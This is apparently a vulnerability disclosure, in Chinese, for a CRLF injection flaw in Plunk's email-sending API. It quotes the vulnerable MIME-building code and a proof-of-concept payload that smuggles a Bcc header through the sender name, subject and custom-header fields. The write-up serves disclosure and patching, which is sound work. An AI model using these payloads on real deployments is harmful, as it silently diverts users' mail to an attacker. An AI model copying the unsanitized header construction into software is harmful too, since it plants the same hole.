严重性:高(CVSS 8.5)
CWE:CWE-93 — CRLF 序列的不当中和(“CRLF 注入”)
受影响版本:useplunk/plunk <= 0.7.1
修复版本:0.8.0
安全公告:GHSA-2mvm-rg5v-7hfq
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-34975
致谢:Romain Deperne
Plunk 的 POST /v1/send 端点通过将用户提供的字段(from.name、subject、自定义邮件头、附件文件名)直接插值到模板字符串中来构造原始 MIME 邮件消息,且未进行 CRLF(\r\n)净化。经过身份验证的 API 用户可以注入任意邮件头——包括 Bcc——从而将邮件副本静默重定向到攻击者控制的地址。
我当时正在审计开源邮件发送平台——即任何封装 AWS SES 并暴露 API 的平台。Plunk 定位为 SendGrid/Postmark 的开发者友好替代品,构建于 SES 之上。
我的切入点在于原始邮件构造函数。每当我看到 rawMessage += 或构建 MIME 的模板字面量时,我都会检查每个用户提供的字段是否经过 CRLF 净化。在 SESService.ts 中,答案显然是否定的:from.name、subject、自定义邮件头和附件文件名全部被直接插值。
确认其可利用性的关键点在于:Zod schema(packages/shared/src/schemas/index.ts)中没有任何 .regex() 或 .refine() 来拒绝这些字段中的 \r\n。schema 层没有净化,MIME 构造层也没有净化——从 API 输入到注入 MIME 邮件头是一条畅通无阻的路径。
我测试了全部四个向量(from.name、subject、自定义邮件头值、附件文件名),并确认 Bcc: 注入有效。任何拥有已验证发件人域的经过身份验证的 API 用户都可以将每封外发邮件静默复制到攻击者控制的地址。现实攻击场景是:一个泄露的 API 密钥转变为持久的邮件拦截。
文件:apps/api/src/services/SESService.ts,第 137–151 行
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Zod schema(packages/shared/src/schemas/index.ts)——没有 CRLF 校验:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
原始 MIME 构造要求每个用户提供的值在插值前都必须去除 \r\n。Plunk 使用模板字面量构建消息,并且没有对四个可注入字段中的任何一个进行清理。SMTP 解析器将 \r\n 解释为头部边界,因此将 \r\nBcc: [email protected] 注入到 from.name 中会向发出的消息添加一个真实的 Bcc 头部。
参见 poc.py 获取包含四个注入向量的完整演示。
核心载荷 — 通过 from.name 进行 Bcc 注入:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
SES 生成的原始 MIME:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES 会向 [email protected] 投递一份静默副本,凡是通过被泄露的 API 密钥发送的每封邮件都会如此。
其他注入向量:
subject:"Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To、Return-Path、Sender 标头